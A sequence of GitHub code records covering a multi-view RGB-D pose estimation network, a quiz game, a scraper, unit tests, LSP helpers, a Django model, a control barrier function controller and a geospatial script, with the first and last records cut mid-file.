pool_idx (nearest neighbor indices) and performs max pooling over the k nearest neighbors.\n\n        :param feature: input features matrix [B, N, d]\n        :param pool_idx: [B, N', max_num] N' < N, N' is the selected position after pooling\n            e.g. [n_views=3, 3200, 16]\n        :return: pool_features = [B, N', d] pooled features matrix\n\n        \"\"\"\n        if len(feature.size()) > 3:  # bs*c*p*1\n            feature = feature.squeeze(dim=3)  # (batch, channel, n_points)\n        n_neigh = pool_idx.shape[-1]\n        d = feature.shape[1]\n        batch_size = pool_idx.shape[0]\n        pool_idx = pool_idx.reshape(batch_size, -1)  # batch*(n_points,n_samples)\n        pool_features = torch.gather(\n            input=feature, dim=2, index=pool_idx.unsqueeze(1).repeat(1, feature.shape[1], 1)\n        ).contiguous()\n        pool_features = pool_features.reshape(batch_size, d, -1, n_neigh)\n        pool_features = pool_features.max(dim=3, keepdim=True)[0]  # batch*channel*n_points*1\n        return pool_features\n\n    @staticmethod\n    def nearest_interpolation(feature, interp_idx):\n        \"\"\"\n        :param feature: [B, N, d] input features matrix\n        :param interp_idx: [B, up_num_points, 1] nearest neighbour index\n        :return: [B, up_num_points, d] interpolated features matrix\n        \"\"\"\n        feature = feature.squeeze(dim=3)  # batch*channel*n_points*1\n        batch_size = interp_idx.shape[0]\n        up_num_points = interp_idx.shape[1]\n        interp_idx = interp_idx.reshape(batch_size, up_num_points)\n        interpolated_features = torch.gather(\n            input=feature, dim=2, index=interp_idx.unsqueeze(1).repeat(1, feature.shape[1], 1)\n        ).contiguous()\n        interpolated_features = interpolated_features.unsqueeze(3)\n        return interpolated_features  # batch*channel*n_points*1\n\n    @staticmethod\n    def nearest_interpolation_multi(feature, interp_idx):\n        \"\"\"\n        :param feature: [B, V, N, d] input features matrix\n        :param interp_idx: [B, V, up_num_points, 1] nearest neighbour index\n        :return: [B, V*up_num_points, d] interpolated features matrix\n        \"\"\"\n        feature = feature.squeeze(dim=-1)  # batch*channel*(v*n_points)*1 -> batch*channel*(v*n_points)\n        \n        batch_size = interp_idx.shape[0]\n        view_size = interp_idx.shape[1]\n        up_num_points = interp_idx.shape[2]\n        interp_idx = interp_idx.reshape(batch_size, view_size, up_num_points)\n        feature = feature.unsqueeze(1).repeat(1, interp_idx.shape[1], 1, 1)\n        interp_idx = interp_idx.unsqueeze(2).repeat(1, 1, feature.shape[2], 1)  # bs*v*c*n_points\n        interpolated_features = torch.gather(\n            input=feature, dim=3, index=interp_idx\n        ).contiguous()\n        interpolated_features = interpolated_features.unsqueeze(-1)  # batch*channel*n_points*1\n        return interpolated_features\n\n    def _break_up_pc(self, pc):\n        xyz = pc[:, :3, :].transpose(1, 2).contiguous()\n        features = (\n            pc[:, 3:, :].contiguous() if pc.size(1) > 3 else None\n        )\n        return xyz, features\n\n    def forward(self, inputs, end_points=None, scale=1,):\n        \"\"\"\n        Params:\n        inputs: dict of :\n            rgb         : FloatTensor [bs, 3, h, w]\n            dpt_nrm     : FloatTensor [bs, 6, h, w], 3c xyz in meter + 3c normal map\n            cld_rgb_nrm : FloatTensor [bs, 9, n_pts]\n            choose      : LongTensor [bs, 1, n_pts]\n            xmap, ymap: [bs, h, w]\n            K:          [bs, 3, 3]\n        Returns:\n            end_points:\n        \"\"\"\n        # ###################### prepare stages #############################\n        if not end_points:\n            end_points = {}\n        rgb_emb, p_emb = self.pre_encode(inputs)\n\n        # ###################### encoding stages #############################\n        n_down_layers = 4\n        ds_emb, rgb_emb, p_emb = self.encode(inputs, rgb_emb, p_emb, n_down_layers)\n\n        # ###################### decoding stages #############################\n        n_up_layers = len(self.rndla_up_stages)\n        bs, rgbd_emb = self.decode(inputs, ds_emb, rgb_emb, p_emb, n_up_layers)\n\n        # ###################### prediction stages #############################\n        if self.symmetry:\n            rgbd_segs, pred_kp_ofs, pred_ctr_ofs, pred_sym_kp_ofs = self.prediction(bs, rgbd_emb, symmetry=True)\n        else:\n            rgbd_segs, pred_kp_ofs, pred_ctr_ofs = self.prediction(bs, rgbd_emb)\n\n        end_points['pred_rgbd_segs'] = rgbd_segs\n        end_points['pred_kp_ofs'] = pred_kp_ofs\n        end_points['pred_ctr_ofs'] = pred_ctr_ofs\n        if self.symmetry:\n            end_points['pred_sym_kp_ofs'] = pred_sym_kp_ofs\n\n        return end_points\n\n    def pre_encode(self, inputs):\n        # ResNet pre + layer1 + layer2\n        if self.multi_view:\n            self.views = inputs['rgb'].shape[1]\n            inputs['rgb'] = einops.rearrange(inputs['rgb'], 'b v c h w -> (b v) c h w')\n        \n        rgb_emb = self.cnn_pre_stages(inputs['rgb'])\n\n        # rndla pre\n        p_emb = inputs['cld_rgb_nrm']\n        p_emb = self.rndla_pre_stages(p_emb)\n        p_emb = p_emb.unsqueeze(dim=3)  # Batch*channel*n_points*1\n\n        return rgb_emb, p_emb\n\n    def encode(self, inputs, rgb_emb, p_emb, n_down_layers):\n        ds_emb = []\n        for i_ds in range(n_down_layers):\n\n            # encode rgb downsampled feature\n            rgb_emb0 = self.cnn_ds_stages[i_ds](rgb_emb)  # (b, c, w, h)\n\n            bs, c, hr, wr = rgb_emb0.size()\n            bs = bs // self.views\n\n            # encode point cloud downsampled feature\n            f_encoder_i = self.rndla_ds_stages[i_ds](\n                p_emb, inputs['cld_xyz%d' % i_ds], inputs['cld_nei_idx%d' % i_ds]\n            )\n\n            f_sampled_i = self.gather_and_maxpool(\n                feature=f_encoder_i,\n                pool_idx=inputs['cld_sub_idx%d' % i_ds]\n            )\n            p_emb0 = f_sampled_i\n            if i_ds == 0:\n                ds_emb.append(f_encoder_i)\n\n            # point-to-pixel fusion\n            p2r_emb = self.ds_fuse_p2r_pre_layers[i_ds](p_emb0)\n            if self.multi_view:\n                p2r_emb = self.nearest_interpolation_multi(p2r_emb,  inputs['p2r_ds_nei_idx%d' % i_ds])\n            else:\n                p2r_emb = self.nearest_interpolation(p2r_emb, inputs['p2r_ds_nei_idx%d' % i_ds])\n            \n            p2r_emb = p2r_emb.view(self.views * bs, -1, hr, wr)\n\n            rgb_emb = self.ds_fuse_p2r_fuse_layers[i_ds](  # MLP_f + ReLU\n                torch.cat((rgb_emb0, p2r_emb), dim=1)\n            )\n\n            # pixel-to-point fusion\n            if self.multi_view:\n                n_sample_pts = inputs['r2p_ds_nei_idx%d' % i_ds].shape[-2]\n                r2p_emb = self.gather_and_maxpool(\n\n                    feature=rgb_emb0.reshape(bs * self.views, c, hr * wr, 1),\n\n                    pool_idx=inputs['r2p_ds_nei_idx%d' % i_ds].view(bs * self.views, n_sample_pts, -1)\n                ).view(bs, self.views, c, n_sample_pts, 1) \\\n                    .permute(0, 2, 1, 3, 4) \\\n                    .reshape(bs, c, n_sample_pts * self.views, 1) \\\n                    .contiguous()\n            else:\n                r2p_emb = self.gather_and_maxpool(\n                    feature=rgb_emb0.reshape(bs*self.views, c, hr * wr, 1),\n                    pool_idx=inputs['r2p_ds_nei_idx%d' % i_ds]\n                ).view(bs, c, -1, 1)\n\n            r2p_emb = self.ds_fuse_r2p_pre_layers[i_ds](r2p_emb)\n\n            p_emb = self.ds_fuse_r2p_fuse_layers[i_ds](\n                torch.cat((p_emb0, r2p_emb), dim=1)\n            )\n            ds_emb.append(p_emb)\n        \n        return ds_emb, rgb_emb, p_emb\n\n    def decode(self, inputs, ds_emb, rgb_emb, p_emb, n_up_layers):\n        for i_up in range(n_up_layers-1):\n            # decode rgb upsampled feature\n            rgb_emb0 = self.cnn_up_stages[i_up](rgb_emb)\n            bs, c, hr, wr = rgb_emb0.size()\n            bs = bs//self.views\n\n            # decode point cloud upsampled feature\n            f_interp_i = self.nearest_interpolation(\n                p_emb, inputs['cld_interp_idx%d' % (n_up_layers-i_up-1)]\n            )\n            f_decoder_i = self.rndla_up_stages[i_up](\n                torch.cat([ds_emb[-i_up - 2], f_interp_i], dim=1)\n            )\n            p_emb0 = f_decoder_i\n\n            # point-to-pixel fusion\n            p2r_emb = self.up_fuse_p2r_pre_layers[i_up](p_emb0)\n            if self.multi_view:\n                p2r_emb = self.nearest_interpolation_multi(p2r_emb,  inputs['p2r_up_nei_idx%d' % i_up])\n            else:\n                p2r_emb = self.nearest_interpolation(\n                    p2r_emb, inputs['p2r_up_nei_idx%d' % i_up]\n                )\n            p2r_emb = p2r_emb.view(self.views*bs, -1, hr, wr)\n\n            rgb_emb = self.up_fuse_p2r_fuse_layers[i_up](\n                torch.cat((rgb_emb0, p2r_emb), dim=1)\n            )\n\n            # pixel-to-point fusion\n            if self.multi_view:\n                n_sample_pts = inputs['r2p_up_nei_idx%d' % i_up].shape[-2]\n                r2p_emb = self.gather_and_maxpool(\n                    feature=rgb_emb0.reshape(bs * self.views, c, hr * wr, 1),\n                    pool_idx=inputs['r2p_up_nei_idx%d' % i_up].view(bs * self.views, n_sample_pts, -1)\n                ).view(bs, self.views, c, n_sample_pts, 1) \\\n                    .permute(0, 2, 1, 3, 4) \\\n                    .reshape(bs, c, n_sample_pts * self.views, 1) \\\n                    .contiguous()\n            else:\n                r2p_emb = self.gather_and_maxpool(\n                    feature=rgb_emb0.reshape(bs * self.views, c, hr * wr),\n                    pool_idx=inputs['r2p_up_nei_idx%d' % i_up]\n                ).view(bs, c, -1, 1)\n            r2p_emb = self.up_fuse_r2p_pre_layers[i_up](r2p_emb)\n            p_emb = self.up_fuse_r2p_fuse_layers[i_up](\n                torch.cat((p_emb0, r2p_emb), dim=1)\n            )\n\n        # final upsample layers:\n        rgb_emb = self.cnn_up_stages[n_up_layers-1](rgb_emb)\n        f_interp_i = self.nearest_interpolation(\n            p_emb, inputs['cld_interp_idx%d' % (0)]\n        )\n        p_emb = self.rndla_up_stages[n_up_layers-1](\n            torch.cat([ds_emb[0], f_interp_i], dim=1)\n        ).squeeze(-1)\n\n        bs, di, _, _ = rgb_emb.size()\n        bs = bs//self.views\n\n        if self.multi_view:\n            rgb_emb_c = rgb_emb.view(bs, self.views, di, -1)\n            choose_emb = inputs['choose'].repeat(1, 1, di, 1)\n            rgb_emb_c = torch.gather(rgb_emb_c, 3, choose_emb)\n            rgb_emb_c = rgb_emb_c.transpose(2, 1).reshape(bs, di, -1).contiguous()\n        else:\n            rgb_emb_c = rgb_emb.view(bs, di, -1)\n            choose_emb = inputs['choose'].repeat(1, di, 1)\n            rgb_emb_c = torch.gather(rgb_emb_c, 2, choose_emb).contiguous()\n\n        # Use DenseFusion in final layer, which will hurt performance due to overfitting\n        # rgbd_emb = self.fusion_layer(rgb_emb, pcld_emb)\n\n        # Use simple concatenation. Good enough for fully fused RGBD feature.\n        rgbd_emb = torch.cat([rgb_emb_c, p_emb], dim=1)\n\n        return bs, rgbd_emb\n\n    def prediction(self, bs, rgbd_emb, symmetry = False):\n        rgbd_segs = self.rgbd_seg_layer(rgbd_emb)\n        pred_kp_ofs = self.kp_ofst_layer(rgbd_emb)\n        pred_ctr_ofs = self.ctr_ofst_layer(rgbd_emb)\n\n        pred_kp_ofs = pred_kp_ofs.view(\n            bs, self.n_kps, 3, -1\n        ).permute(0, 1, 3, 2).contiguous()\n\n        pred_ctr_ofs = pred_ctr_ofs.view(\n            bs, 1, 3, -1\n        ).permute(0, 1, 3, 2).contiguous()\n        if symmetry:\n            pred_sym_kp_ofs = self.sym_kp_ofst_layer(rgbd_emb).view(\n            bs, self.n_kps, 3, -1\n            ).permute(0, 1, 3, 2).contiguous()\n            return rgbd_segs, pred_kp_ofs, pred_ctr_ofs, pred_sym_kp_ofs\n\n        else:\n            return rgbd_segs, pred_kp_ofs, pred_ctr_ofs\n\n\n# Copy from PVN3D: https://github.com/ethnhe/PVN3D\nclass DenseFusion(nn.Module):\n    def __init__(self, num_points):\n        super(DenseFusion, self).__init__()\n        self.conv2_rgb = torch.nn.Conv1d(64, 256, 1)\n        self.conv2_cld = torch.nn.Conv1d(32, 256, 1)\n\n        self.conv3 = torch.nn.Conv1d(96, 512, 1)\n        self.conv4 = torch.nn.Conv1d(512, 1024, 1)\n\n        self.ap1 = torch.nn.AvgPool1d(num_points)\n\n    def forward(self, rgb_emb, cld_emb):\n        bs, _, n_pts = cld_emb.size()\n        feat_1 = torch.cat((rgb_emb, cld_emb), dim=1)\n        rgb = F.relu(self.conv2_rgb(rgb_emb))\n        cld = F.relu(self.conv2_cld(cld_emb))\n\n        feat_2 = torch.cat((rgb, cld), dim=1)\n\n        rgbd = F.relu(self.conv3(feat_1))\n        rgbd = F.relu(self.conv4(rgbd))\n\n        ap_x = self.ap1(rgbd)\n\n        ap_x = ap_x.view(-1, 1024, 1).repeat(1, 1, n_pts)\n        return torch.cat([feat_1, feat_2, ap_x], 1)\n","repo_name":"boschresearch/SyMFM6D","sub_path":"models/SyMFM6D.py","file_name":"SyMFM6D.py","file_ext":"py","file_size_in_byte":19818,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"7573820374","text":"\n# -------------------------\n#function for making a new quiz game \ndef new_game():\n\n    guesses = []\n    correct_guesses = 0\n    question_num = 1\n\n    for key in questions:\n        print(\"-------------------------\")\n        print(key)\n        for i in options[question_num-1]:\n            print(i)\n        guess = input(\"Enter (A, B, C, or D): \")\n        guess = guess.upper()\n        guesses.append(guess)\n\n        correct_guesses += check_answer(questions.get(key), guess)\n        question_num += 1\n\n    display_score(correct_guesses, guesses)\n\n# -------------------------\n  # function that notifies the player if they got the question right and also keeps track of the score\ndef check_answer(answer, guess):\n\n    if answer == guess:\n        print(\"Correct answer!\")\n        return 1\n    else:\n        print(\"Incorrect answer!\")\n        return 0\n\n# -------------------------\n      # Function for displaying score , what answers they picked and the percent of how much questions they got right\ndef display_score(correct_guesses, guesses):\n    print(\"-------------------------\")\n    print(\"RESULTS\")\n    print(\"-------------------------\")\n\n    print(\"Answers: \", end=\"\")\n    for i in questions:\n        print(questions.get(i), end=\" \")\n    print()\n\n    print(\"Guesses: \", end=\"\")\n    for i in guesses:\n        print(i, end=\" \")\n    print()\n\n    score = int((correct_guesses/len(questions))*100)\n    print(\"Your score is: \"+str(score)+\"%\")\n\n# -------------------------\n  #Function so the player can have the option to play again\ndef play_again():\n\n    response = input(\"Would you like to retry the quiz? (Answer with yes or no): \")\n    response = response.upper()\n\n    if response == \"YES\":\n        return True\n    else:\n        return False\n# -------------------------\n\n# Dictionary for the questions\nquestions = {\n \"Q1.What is the capital city of australia?: \": \"B\",\n \"Q2.Where is the mountain mt.fuji located?: \": \"C\",\n \"Q3.How many bones in the human body?: \": \"B\",\n \"Q4.What shape is the earth?: \": \"A\", \n \"Q5.how many days are there in a year\": \"D\",\n \"Q6.What do the elements Sodium and Chlorine combine to make?\": \"B\",\n \"Q7.Which one of these letters is not a vowel?\": \"C\",\n \"Q8.What is the smallest country?\": \"C\",\n \"Q9.What does the symbol H in H^2O Mean?\": \"C\"\n}\n# Dictionary for the Answers\noptions = [[\"A. Adelaide\", \"B. Canberra\", \"C. Melbourne\", \"D. Sydney\"],\n          [\"A. Fiji\", \"B. Australia\", \"C. Japan\", \"D. America\"],\n          [\"A. 2\", \"B. 206\", \"C. 1023\", \"D. 34\"],\n          [\"A. Sphere\",\"B. Square\", \"C. pyramid\", \"D. flat\"],\n          [\"A.355\", \"B.375\", \"C.364\", \"D.365\"],\n          [\"A.Water\", \"B.Salt\", \"C.Pottasium\", \"D.Chlorine\"],\n          [\"A.I\", \"B.O\", \"C.L\", \"D.U\"],\n          [\"A.Russia\",\"B.Libya,\",\"C.Vatican City\",\"D.New Zealand\"],\n          [\"A.Helium\",\"B.Healium\",\"C.Hydrogen\",\"D.Hylogen\"]\n          ]\n\nnew_game()\n\nwhile play_again():\n    new_game()\n\nprint(\"Thank you for playing the Quiz!\")\n\n\n","repo_name":"Catholic-Cathedral-College/quiz-program-EthanAlorico","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43715151288","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Este es el programa principal de nuestro sistema\n# recibibe como parámetros la fecha inicial y final del intervalo de tiempo\n# del que deseamos recoger los datos de las detecciones\n\n# Lo primero que hacemos es importar nuestras funciones auxiliares\nimport csv\nfrom scraper_functions import execute_form\n\n\n\n# Importamos el resto de cosas que vamos a necesitar\nimport argparse\n\n# Lo segundo que hacemos es tomar los dos parámetros de entrada y parsearlos\nparser = argparse.ArgumentParser()\n# Preparamos los dos argumentos con su ayuda\nparser.add_argument('--Fecha_inicio', help='Introduce la fecha de inicio del intervalo (Formato: \"AAAAMMDD\")', required=True)\nparser.add_argument('--Fecha_fin', help='Introduce la fecha de fin del intervalo (Formato: \"AAAAMMDD\")', required=True)\n# Parseamos\nargs = parser.parse_args()\n\n# Tomamos los valores\nfechaInicio = args.Fecha_inicio\nfechaFin = args.Fecha_fin\n\n# Llamamos a la función y guardamos el dataset.\n# Ejemplos de fechas con el número de filas esperado:\n#   writer.writerows(execute_form('20150101','20221105'))     # 119 filas\n#   writer.writerows(execute_form('20200301','20221105'))     #   7 filas\n\nwith open('../dataset/detecciones_ondas_gravitacionales.csv', 'w', newline='', encoding='utf-8') as f:\n    writer = csv.writer(f)\n    writer.writerows(execute_form(fechaInicio, fechaFin))\n","repo_name":"SRobiscoUOC/Practica1","sub_path":"source/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6374860480","text":"# Berikut contoh penerapan edge case test\n\nimport re\nimport unittest\n\n\ndef rearrange_name(name):\n    result = re.search(r\"^([\\w .]*), ([\\w .])$\", name)\n    if result is None:  # bagian ini tambahan perbaikan akibat edge case\n        return \"\"  # bagian ini tambahan perbaikan akibat edge case\n    return \"{} {}\".format(result[2], result[1])\n\n\nclass TestRearrange(unittest.TestCase):\n    def test_basic(self):\n        testcase = \"Lovelace, Ada\"\n        expected = \"Ada Lovelace\"\n        self.assertEqual(rearrange_name(testcase), expected)\n\n    # edge case\n    def test_empty(self):\n        testcase = \"\"\n        expected = \"\"\n        self.assertEqual(rearrange_name(testcase), expected)\n\n\nunittest.main(argv = ['first-arg-is-ignored'], exit = False)\n","repo_name":"yosirodotcom/python-coursera","sub_path":"tensorflow/unit_test/test_2.py","file_name":"test_2.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12514486884","text":"import sys\nfrom dataclasses import dataclass\nfrom pathlib import Path\n\nimport pygls.uris as uris\nfrom lsprotocol.types import Location, Position, Range\n\n\n@dataclass\nclass FilePosition:\n    # 0-indexed\n    row: int\n\n    # TODO: Take a look at character encoding\n    column: int\n\n    def to_lsp_position(self) -> Position:\n        return Position(self.row, self.column)\n\n    @staticmethod\n    def from_lsp_position(pos: Position):\n        return FilePosition(pos.line, pos.character)\n\n\n@dataclass\nclass FilePathAndPosition:\n    path: Path\n    position: FilePosition\n\n    def __post_init__(self):\n        if not self.path.is_absolute():\n            raise RuntimeError(\n                f\"FilePathAndPosition: {self.path} is not an absolute path\"\n            )\n\n        if not self.path.exists():\n            raise RuntimeError(\n                f\"FilePathAndPosition: {self.path} does not exist\"\n            )\n\n        if not self.path.is_file():\n            raise RuntimeError(\n                f\"FilePathAndPosition: {self.path} is not a file\"\n            )\n\n    @staticmethod\n    def from_lsp_uri_and_position(uri: str, pos: Position):\n        return FilePathAndPosition(Path(uris.to_fs_path(uri)), FilePosition.from_lsp_position(pos))\n\n    def to_lsp_location(self) -> Location:\n        start = self.position.to_lsp_position()\n        # LSP works with ranges, we work only with a single cursor position...\n        end = Position(start.line + 1, 0)\n        range = Range(start, end)\n        return Location(uris.from_fs_path(str(self.path)), range)\n\n\ndef read_text_file(file_path: Path) -> str:\n    if not file_path.is_file():\n        raise RuntimeError(f\"read_file {file_path} is not a file\")\n\n    with open(file_path, \"r\") as f:\n        return f.read()\n\n\ndef get_line_from_file(file_path, line):\n    with open(file_path, 'r') as file:\n        lines = file.readlines()\n        if 0 <= line < len(lines):\n            return lines[line - 1]\n    return None\n\nimport logging\nimport re\n\n#TODO: this is really fragile and shity. It should be handeled when full bazel ast is made\ndef get_target_at_position(file_path, row, col):\n    line = get_line_from_file(file_path, row)\n    if line is None:\n        return None\n\n    pattern = r\"[ ,\\\"'/]\\[]\"\n    start = end = -1\n    match = re.search(pattern, line[:col])\n    if match:\n        logging.debug(f\"match: {match.group()[:-1]}\")\n        start = match.start()\n\n    logging.debug(f\"LINE: {line}\")\n\n    match = re.search(pattern, line[start:])\n    if match:\n        end = match.start()\n\n    logging.debug(f\"row: {row} col:{col}\")\n    logging.debug(f\"start: {start} end:{end}\")\n    logging.debug(f\"Found string {line[start:end]}\")\n\n    return line[start:end]\n\n","repo_name":"msc94/bazel-language-server","sub_path":"lsp/utils/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40259595959","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass AppMessage(models.Model):\n    \"\"\"\n    Message model class\n    \"\"\"\n    owner = models.ForeignKey(\n        User, on_delete=models.CASCADE, related_name='sender')\n    reciver = models.ForeignKey(\n        User, on_delete=models.CASCADE, related_name='message_reciver')\n    subject = models.CharField(max_length=90)\n    content = models.TextField(blank=True)\n    sent = models.DateTimeField(auto_now_add=True)\n\n    class Meta:\n        ordering = ['-sent']\n\n    def __str__(self):\n        return f\"Message from {self.owner}\"\n","repo_name":"Ajn0r/pet-palace-api","sub_path":"app_messages/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13422937384","text":"from scipy import optimize\nimport matplotlib.pyplot as plt\nimport numpy as np\n#pyinstaller --onefile <your_script_name>.pyprint(\"Метод Fsolve\")\nR_v = 0.0000115\n\nR_h = 0.00001865\n\n  #float(input(\"Введите R_h \"))\nR_s = 0.000000001 #Для поиска начального значения\n\ndef f(x):\n    return (np.exp(-np.pi*R_v/x)+np.exp(-np.pi*R_h/x)-1)  # Samo uravnenie\ni = 1\nwhile i <= 30:\n    root1 = optimize.fsolve(f,R_s) #fsolve is a wrapper around MINPACK’s hybrd and hybrj algorithms.\n    if R_s == root1:\n        R_s*=10\n    i += 1  \n \nprint(float(root1))\n#print(\"Значение root1 равняется \", float(root1))\n#input(\"Нажмите ENTER, кнопку чтобы выйти\")","repo_name":"Geroinageroine/GitHub","sub_path":"Labview/1_project/exec_labview.py","file_name":"exec_labview.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31997825854","text":"import numpy as np\nimport cvxopt\nimport sys\n\nclass ControlBarrierFunction():\n    def __init__(self, max_speed, dmin = 0.12, k = 1, max_acc = 0.04):\n        \"\"\"\n        Args:\n            dmin: dmin for bx\n            yita: yita for bx\n        \"\"\"\n        self.dmin = dmin\n        self.k = k\n        # limitation of robot speed and acceleration\n        self.max_speed = max_speed \n        self.max_acc = max_acc\n        self.gamma = 0.5\n\n    def get_safe_control(self, robot_state, obs_states, f, g, u0):\n        \"\"\"\n        Args:\n            robot_state: np array current robot state <x, y, vx, vy>\n            obs_state: np array dynamic obstacle state <x, y, 0, 0>, you may only need to focus on these too close\n            f: np array, the dynamic of robot state\n            g: np array, the dynamic of robot state\n            u0: the original action (maybe unsafe)\n            [dynamics : x_dot = f(x) + g(x)*u]\n            [bx: barrier function -- h = p*(robot_state-obs_states)+q]\n        \"\"\"\n        u0 = np.array(u0).reshape((2,1))\n        L_gs = []\n        L_fs = []\n        obs_dots = []\n        reference_control_laws = []\n        is_safe = True\n\n        for i, obs_state in enumerate(obs_states):\n            d = np.array(robot_state - obs_state[:4])\n            d_pos = d[:2] # pos distance\n            d_vel = d[2:] # vel \n            d_abs = np.linalg.norm(d_pos)\n            # the goal is to make the value of h always greater than 0\n            # h measure the relative distance and velocity between robot and obstacle\n            # you can think other robots as dynamic obstacles \n            # here I calculate the positive distance between them\n            hs_p = np.array([1,1,self.k, self.k])\n            if (d_pos[0] < 0):\n                hs_p[0] = -1\n                hs_p[2] = -self.k\n            if (d_pos[1] < 0):\n                hs_p[1] = -1\n                hs_p[3] = -self.k\n            \n            L_f = hs_p @ (f @ d.reshape((-1,1))) # shape (1, 1)\n            L_g = -hs_p @ g # shape (1, 2) g contains x information\n            L_gs.append(L_g)\n            reference_control_laws.append(self.gamma*(hs_p @ d.reshape((-1,1)) - self.dmin) + \\\n                                            L_f + np.dot(hs_p, np.dot(g, u0)))\n        \n        # Solve safe optimization problem\n        # min_x ||x||^2   s.t. Ax <= b\n        u0 = u0.reshape(-1,1)\n        Q = cvxopt.matrix(np.eye(2)) #\n        p = cvxopt.matrix(np.zeros(2).reshape(-1,1))\n        G = cvxopt.matrix(np.vstack([np.eye(2), -np.eye(2), np.array([[1,0],[-1,0]]), np.array([[0,1],[0,-1]])]))\n        #G = cvxopt.matrix(np.vstack([np.eye(2), -np.eye(2), np.array([[1,0],[-1,0]]), np.array([[0,1],[0,-1]])]))\n        S_saturated = cvxopt.matrix(np.array([self.max_acc-u0[0][0], self.max_acc-u0[1][0], self.max_acc+u0[0][0], self.max_acc+u0[1][0], \\\n                                    self.max_speed-robot_state[2]-u0[0][0], self.max_speed+robot_state[2]+u0[0][0], \\\n                                    self.max_speed-robot_state[3]-u0[1][0], self.max_speed+robot_state[3]+u0[1][0]]).reshape(-1, 1))\n\n        L_gs = np.array(L_gs).reshape(-1, 2)\n        reference_control_laws = np.array(reference_control_laws).reshape(-1,1)\n        A = cvxopt.matrix([[cvxopt.matrix(L_gs), G]])\n        cvxopt.solvers.options['show_progress'] = False\n        cvxopt.solvers.options['maxiters'] = 600\n        while True:\n            try:\n                b = cvxopt.matrix([[cvxopt.matrix(reference_control_laws), S_saturated]])\n                #print(f\"Q {Q}, p {p}, A {A}, b {b}\")\n                sol = cvxopt.solvers.qp(Q, p, A, b)\n                u = sol[\"x\"]\n                break\n            except ValueError:\n                for i in range(len(reference_control_laws)):\n                    reference_control_laws[i][0] += 0.01\n\n        u = np.array([u[0]+u0[0][0], u[1]+u0[1][0]])\n        u[0] = max(min(u[0], self.max_acc), -self.max_acc)\n        u[1] = max(min(u[1], self.max_acc), -self.max_acc)\n        return u, True\n        \nif __name__ == \"__main__\":\n    cbf_controller = ControlBarrierFunction(max_speed = 0.04) # depend on robot\n    robot_state = np.array([0.1, 0.1, 0.01, 0.01])\n    unsafe_obstacles = np.array([[0.08, 0.14, 0.02, -0.02], [0.12, 0.09, -0.02, 0.02]])\n    # dynamic model parameters, this is double integrator model\n    fx = np.array([[0,0,1,0],[0,0,0,1],[0,0,0,0],[0,0,0,0]])\n    gx = np.array([[1,0],[0,1],[1,0],[0,1]])\n    # action generated from leader-follower control\n    # we pass this action to cbf to make it safe\n    # action is the acceleration on x-axis and y-axis\n    action = [-0.01, 0.02]\n    action = cbf_controller.get_safe_control(robot_state, unsafe_obstacles, fx, gx, action)\n    print(f\"action {action}\")","repo_name":"hychen-naza/SSA-RL","sub_path":"src/cbf_v2.py","file_name":"cbf_v2.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12583479841","text":"import itertools\n\ndef solution(orders, course):\n    answer = []\n    menuMap = [{} for _ in range(11)]\n    maxCnt = [0 for _ in range(11)]\n    \n    for menu in orders:\n        for num in range(2, len(menu) + 1):\n            for c in itertools.combinations(sorted(menu), num):\n                candidate = ''.join(c)\n                if candidate not in menuMap[num]:\n                    menuMap[num][candidate] = 1\n                else:\n                    menuMap[num][candidate] += 1\n                    maxCnt[num] = max(maxCnt[num], menuMap[num][candidate])\n    \n    for c in course:\n        for k, v in menuMap[c].items():\n            if v >= 2 and v == maxCnt[c]:\n                answer.append(k)\n    answer.sort()\n    return answer","repo_name":"supin2/Algorithm-Study","sub_path":"programmers/ForKaKAO/2021/level2/메뉴 리뉴얼.py","file_name":"메뉴 리뉴얼.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21689229533","text":"import datetime\nfrom distance_matrix_client import DistanceMatrixClient\nimport itertools\nimport json\nimport math\nimport pandas as pd\nfrom pyproj import Transformer\nimport pytz\nimport requests\nfrom shapely.geometry import shape, Point, Polygon\n\n\ndef save_polygon(relation_id: int, polygon_file: str):\n    url = 'http://polygons.openstreetmap.fr/get_geojson.py?id={}'.format(relation_id)\n    r = requests.get(url)\n    assert r.status_code == 200\n    f = open(polygon_file, 'w', encoding='utf-8')\n    f.write(r.text)\n    f.close()\n\n\ndef get_sw_ne(polygon_file: str):\n    with open(polygon_file, encoding='utf-8') as f:\n        data = json.load(f)\n\n    lats = []\n    lngs = []\n\n    assert 'geometries' in data.keys()\n    geometries = data.get('geometries')\n    for geometry in geometries:\n        assert 'coordinates' in geometry\n        coordinates = geometry.get('coordinates')\n        for coordinate in coordinates:\n            assert len(coordinate) > 0\n            lats += [latlng[1] for latlng in coordinate[0]]\n            lngs += [latlng[0] for latlng in coordinate[0]]\n    \n    return (min(lats), min(lngs)), (max(lats), max(lngs))\n\n\ndef get_grid_points(sw: tuple, ne: tuple, mesh_size: int, polygon_file: str):\n    transformer_l2m = Transformer.from_crs(4326, 3857, always_xy=True)\n    transformer_m2l = Transformer.from_crs(3857, 4326, always_xy=True)\n\n    # pyproj and shapely assume (lng, lat) format, so transform from (lat, lng) to (lng, lat)\n    sw_ne_l = 